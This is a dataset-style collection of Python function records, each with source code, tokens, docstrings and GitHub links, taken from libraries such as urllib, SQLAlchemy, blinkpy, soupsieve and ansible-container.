def quote_from_bytes(bs, safe='/'): """Like quote(), but accepts a bytes object rather than a str, and does not perform string-to-bytes encoding. It always returns an ASCII string. quote_from_bytes(b'abc def\x3f') -> 'abc%20def%3f' """ if not isinstance(bs, (bytes, bytearray)): raise TypeError("quote_from_bytes() expected bytes") if not bs: return '' if isinstance(safe, str): # Normalize 'safe' by converting to bytes and removing non-ASCII chars safe = safe.encode('ascii', 'ignore') else: safe = bytes([c for c in safe if c < 128]) if not bs.rstrip(_ALWAYS_SAFE_BYTES + safe): return bs.decode() try: quoter = _safe_quoters[safe] except KeyError: _safe_quoters[safe] = quoter = Quoter(safe).__getitem__ return ''.join([quoter(char) for char in bs])
[ "def", "quote_from_bytes", "(", "bs", ",", "safe", "=", "'/'", ")", ":", "if", "not", "isinstance", "(", "bs", ",", "(", "bytes", ",", "bytearray", ")", ")", ":", "raise", "TypeError", "(", "\"quote_from_bytes() expected bytes\"", ")", "if", "not", "bs", ...
https://github.com/larryhastings/gilectomy/blob/4315ec3f1d6d4f813cc82ce27a24e7f784dbfc1a/Lib/urllib/parse.py#L793-L813
cea-sec/miasm
09376c524aedc7920a7eda304d6095e12f6958f4
miasm/analysis/ssa.py
python
SSADiGraph._fill_phi
(self, *args)
return ExprOp(self.PHI_STR, *set(args))
Fills a phi function with variables. phi(x.1, x.5, x.6) :param args: list of ExprId :return: ExprOp
Fills a phi function with variables.
[ "Fills", "a", "phi", "function", "with", "variables", "." ]
def _fill_phi(self, *args): """ Fills a phi function with variables. phi(x.1, x.5, x.6) :param args: list of ExprId :return: ExprOp """ return ExprOp(self.PHI_STR, *set(args))
[ "def", "_fill_phi", "(", "self", ",", "*", "args", ")", ":", "return", "ExprOp", "(", "self", ".", "PHI_STR", ",", "*", "set", "(", "args", ")", ")" ]
https://github.com/cea-sec/miasm/blob/09376c524aedc7920a7eda304d6095e12f6958f4/miasm/analysis/ssa.py#L501-L510
fronzbot/blinkpy
21f29ad302072d16efdc8205aaba826013e69176
blinkpy/sync_module.py
python
BlinkSyncModule.check_new_videos
(self)
return True
Check if new videos since last refresh.
Check if new videos since last refresh.
[ "Check", "if", "new", "videos", "since", "last", "refresh", "." ]
def check_new_videos(self): """Check if new videos since last refresh.""" try: interval = self.blink.last_refresh - self.motion_interval * 60 except TypeError: # This is the first start, so refresh hasn't happened yet. # No need to check for motion. return False resp = api.request_videos(self.blink, time=interval, page=1) for camera in self.cameras.keys(): self.motion[camera] = False try: info = resp["media"] except (KeyError, TypeError): _LOGGER.warning("Could not check for motion. Response: %s", resp) return False for entry in info: try: name = entry["device_name"] clip = entry["media"] timestamp = entry["created_at"] if self.check_new_video_time(timestamp): self.motion[name] = True and self.arm self.last_record[name] = {"clip": clip, "time": timestamp} except KeyError: _LOGGER.debug("No new videos since last refresh.") return True
[ "def", "check_new_videos", "(", "self", ")", ":", "try", ":", "interval", "=", "self", ".", "blink", ".", "last_refresh", "-", "self", ".", "motion_interval", "*", "60", "except", "TypeError", ":", "# This is the first start, so refresh hasn't happened yet.", "# No ...
https://github.com/fronzbot/blinkpy/blob/21f29ad302072d16efdc8205aaba826013e69176/blinkpy/sync_module.py#L216-L247
iocast/featureserver
2828532294fe232f1ddf358cfbd2cc81af102e56
FeatureServer/Service/Request.py
python
Request.get_id_from_path_info
(self, path_info)
return False
Pull Feature ID from path_info and return it.
Pull Feature ID from path_info and return it.
[ "Pull", "Feature", "ID", "from", "path_info", "and", "return", "it", "." ]
def get_id_from_path_info(self, path_info): """Pull Feature ID from path_info and return it.""" try: path = path_info.split("/") path_pieces = path[-1].split(".") if len(path_pieces) > 1: return int(path_pieces[0]) if path_pieces[0].isdigit(): return int(path_pieces[0]) except: return False return False
[ "def", "get_id_from_path_info", "(", "self", ",", "path_info", ")", ":", "try", ":", "path", "=", "path_info", ".", "split", "(", "\"/\"", ")", "path_pieces", "=", "path", "[", "-", "1", "]", ".", "split", "(", "\".\"", ")", "if", "len", "(", "path_p...
https://github.com/iocast/featureserver/blob/2828532294fe232f1ddf358cfbd2cc81af102e56/FeatureServer/Service/Request.py#L87-L98
vim-awesome/vim-awesome
7c59d43057b4ebb4cc32403518f6c53d2a3381a8
tools/scrape/build_github_index.py
python
_normalize_github_url
(url)
return url.lower()
Normalize a GitHub url so that there is one unique URL representation per repo.
Normalize a GitHub url so that there is one unique URL representation per repo.
[ "Normalize", "a", "GitHub", "url", "so", "that", "there", "is", "one", "unique", "URL", "representation", "per", "repo", "." ]
def _normalize_github_url(url): """Normalize a GitHub url so that there is one unique URL representation per repo. """ url = re.sub(r'\.git$', '', url) # Strip trailing .git url = re.sub(r'\.$', '', url) # Strip trailing period return url.lower()
[ "def", "_normalize_github_url", "(", "url", ")", ":", "url", "=", "re", ".", "sub", "(", "r'\\.git$'", ",", "''", ",", "url", ")", "# Strip trailing .git", "url", "=", "re", ".", "sub", "(", "r'\\.$'", ",", "''", ",", "url", ")", "# Strip trailing period...
https://github.com/vim-awesome/vim-awesome/blob/7c59d43057b4ebb4cc32403518f6c53d2a3381a8/tools/scrape/build_github_index.py#L31-L37
myint/autoflake
3c3b2a2274e40a03d3d8f14815509662e9f454e0
autoflake.py
python
_segment_module
(segment)
return segment.strip(string.whitespace + ',\\()') or segment
Extract the module identifier inside the segment. It might be the case the segment does not have a module (e.g. is composed just by a parenthesis or line continuation and whitespace). In this scenario we just keep the segment... These characters are not valid in identifiers, so they will never be contained in the list of unused modules anyway.
Extract the module identifier inside the segment.
[ "Extract", "the", "module", "identifier", "inside", "the", "segment", "." ]
def _segment_module(segment): """Extract the module identifier inside the segment. It might be the case the segment does not have a module (e.g. is composed just by a parenthesis or line continuation and whitespace). In this scenario we just keep the segment... These characters are not valid in identifiers, so they will never be contained in the list of unused modules anyway. """ return segment.strip(string.whitespace + ',\\()') or segment
[ "def", "_segment_module", "(", "segment", ")", ":", "return", "segment", ".", "strip", "(", "string", ".", "whitespace", "+", "',\\\\()'", ")", "or", "segment" ]
https://github.com/myint/autoflake/blob/3c3b2a2274e40a03d3d8f14815509662e9f454e0/autoflake.py#L320-L329
Jenyay/outwiker
50530cf7b3f71480bb075b2829bc0669773b835b
plugins/webpage/webpage/libs/soupsieve/__init__.py
python
compile
(pattern, namespaces=None, flags=0, **kwargs)
return cp._cached_css_compile(pattern, namespaces, custom, flags)
Compile CSS pattern.
Compile CSS pattern.
[ "Compile", "CSS", "pattern", "." ]
def compile(pattern, namespaces=None, flags=0, **kwargs): # noqa: A001 """Compile CSS pattern.""" if namespaces is not None: namespaces = ct.Namespaces(**namespaces) custom = kwargs.get('custom') if custom is not None: custom = ct.CustomSelectors(**custom) if isinstance(pattern, SoupSieve): if flags: raise ValueError("Cannot process 'flags' argument on a compiled selector list") elif namespaces is not None: raise ValueError("Cannot process 'namespaces' argument on a compiled selector list") elif custom is not None: raise ValueError("Cannot process 'custom' argument on a compiled selector list") return pattern return cp._cached_css_compile(pattern, namespaces, custom, flags)
[ "def", "compile", "(", "pattern", ",", "namespaces", "=", "None", ",", "flags", "=", "0", ",", "*", "*", "kwargs", ")", ":", "# noqa: A001", "if", "namespaces", "is", "not", "None", ":", "namespaces", "=", "ct", ".", "Namespaces", "(", "*", "*", "nam...
https://github.com/Jenyay/outwiker/blob/50530cf7b3f71480bb075b2829bc0669773b835b/plugins/webpage/webpage/libs/soupsieve/__init__.py#L44-L63
omz/PythonistaAppTemplate
f560f93f8876d82a21d108977f90583df08d55af
PythonistaAppTemplate/PythonistaKit.framework/pylib/site-packages/sqlalchemy/dialects/sqlite/base.py
python
SQLiteDialect._resolve_type_affinity
(self, type_)
return coltype
Return a data type from a reflected column, using affinity tules. SQLite's goal for universal compatibility introduces some complexity during reflection, as a column's defined type might not actually be a type that SQLite understands - or indeed, my not be defined *at all*. Internally, SQLite handles this with a 'data type affinity' for each column definition, mapping to one of 'TEXT', 'NUMERIC', 'INTEGER', 'REAL', or 'NONE' (raw bits). The algorithm that determines this is listed in http://www.sqlite.org/datatype3.html section 2.1. This method allows SQLAlchemy to support that algorithm, while still providing access to smarter reflection utilities by regcognizing column definitions that SQLite only supports through affinity (like DATE and DOUBLE).
Return a data type from a reflected column, using affinity tules.
[ "Return", "a", "data", "type", "from", "a", "reflected", "column", "using", "affinity", "tules", "." ]
def _resolve_type_affinity(self, type_): """Return a data type from a reflected column, using affinity tules. SQLite's goal for universal compatibility introduces some complexity during reflection, as a column's defined type might not actually be a type that SQLite understands - or indeed, my not be defined *at all*. Internally, SQLite handles this with a 'data type affinity' for each column definition, mapping to one of 'TEXT', 'NUMERIC', 'INTEGER', 'REAL', or 'NONE' (raw bits). The algorithm that determines this is listed in http://www.sqlite.org/datatype3.html section 2.1. This method allows SQLAlchemy to support that algorithm, while still providing access to smarter reflection utilities by regcognizing column definitions that SQLite only supports through affinity (like DATE and DOUBLE). """ match = re.match(r'([\w ]+)(\(.*?\))?', type_) if match: coltype = match.group(1) args = match.group(2) else: coltype = '' args = '' if coltype in self.ischema_names: coltype = self.ischema_names[coltype] elif 'INT' in coltype: coltype = sqltypes.INTEGER elif 'CHAR' in coltype or 'CLOB' in coltype or 'TEXT' in coltype: coltype = sqltypes.TEXT elif 'BLOB' in coltype or not coltype: coltype = sqltypes.NullType elif 'REAL' in coltype or 'FLOA' in coltype or 'DOUB' in coltype: coltype = sqltypes.REAL else: coltype = sqltypes.NUMERIC if args is not None: args = re.findall(r'(\d+)', args) try: coltype = coltype(*[int(a) for a in args]) except TypeError: util.warn( "Could not instantiate type %s with " "reflected arguments %s; using no arguments." % (coltype, args)) coltype = coltype() else: coltype = coltype() return coltype
[ "def", "_resolve_type_affinity", "(", "self", ",", "type_", ")", ":", "match", "=", "re", ".", "match", "(", "r'([\\w ]+)(\\(.*?\\))?'", ",", "type_", ")", "if", "match", ":", "coltype", "=", "match", ".", "group", "(", "1", ")", "args", "=", "match", ...
https://github.com/omz/PythonistaAppTemplate/blob/f560f93f8876d82a21d108977f90583df08d55af/PythonistaAppTemplate/PythonistaKit.framework/pylib/site-packages/sqlalchemy/dialects/sqlite/base.py#L884-L935
ansible/ansible-container
d031c1a6133d5482a5d054fcbdbecafb923f8b4b
container/docker/importer.py
python
DockerfileParser.preparse_iter
(self)
Comments can be anywhere. So break apart the Dockerfile into significant lines and any comments that precede them. And if a line is a carryover from the previous via an escaped-newline, bring the directive with it.
Comments can be anywhere. So break apart the Dockerfile into significant lines and any comments that precede them. And if a line is a carryover from the previous via an escaped-newline, bring the directive with it.
[ "Comments", "can", "be", "anywhere", ".", "So", "break", "apart", "the", "Dockerfile", "into", "significant", "lines", "and", "any", "comments", "that", "precede", "them", ".", "And", "if", "a", "line", "is", "a", "carryover", "from", "the", "previous", "v...
def preparse_iter(self): """ Comments can be anywhere. So break apart the Dockerfile into significant lines and any comments that precede them. And if a line is a carryover from the previous via an escaped-newline, bring the directive with it. """ to_yield = {} last_directive = None lines_processed = 0 for line in self.lines_iter(): if not line: continue if line.startswith(u'#'): comment = line.lstrip('#').strip() # Directives have to precede any instructions if lines_processed == 1: if comment.startswith(u'escape='): self.escape_char = comment.split(u'=', 1)[1] continue to_yield.setdefault('comments', []).append(comment) else: # last_directive being set means the previous line ended with a # newline escape if last_directive: directive, payload = last_directive, line else: directive, payload = line.split(u' ', 1) if line.endswith(self.escape_char): payload = payload.rstrip(self.escape_char) last_directive = directive else: last_directive = None to_yield['directive'] = directive to_yield['payload'] = payload.strip() yield to_yield to_yield = {}
[ "def", "preparse_iter", "(", "self", ")", ":", "to_yield", "=", "{", "}", "last_directive", "=", "None", "lines_processed", "=", "0", "for", "line", "in", "self", ".", "lines_iter", "(", ")", ":", "if", "not", "line", ":", "continue", "if", "line", "."...
https://github.com/ansible/ansible-container/blob/d031c1a6133d5482a5d054fcbdbecafb923f8b4b/container/docker/importer.py#L120-L155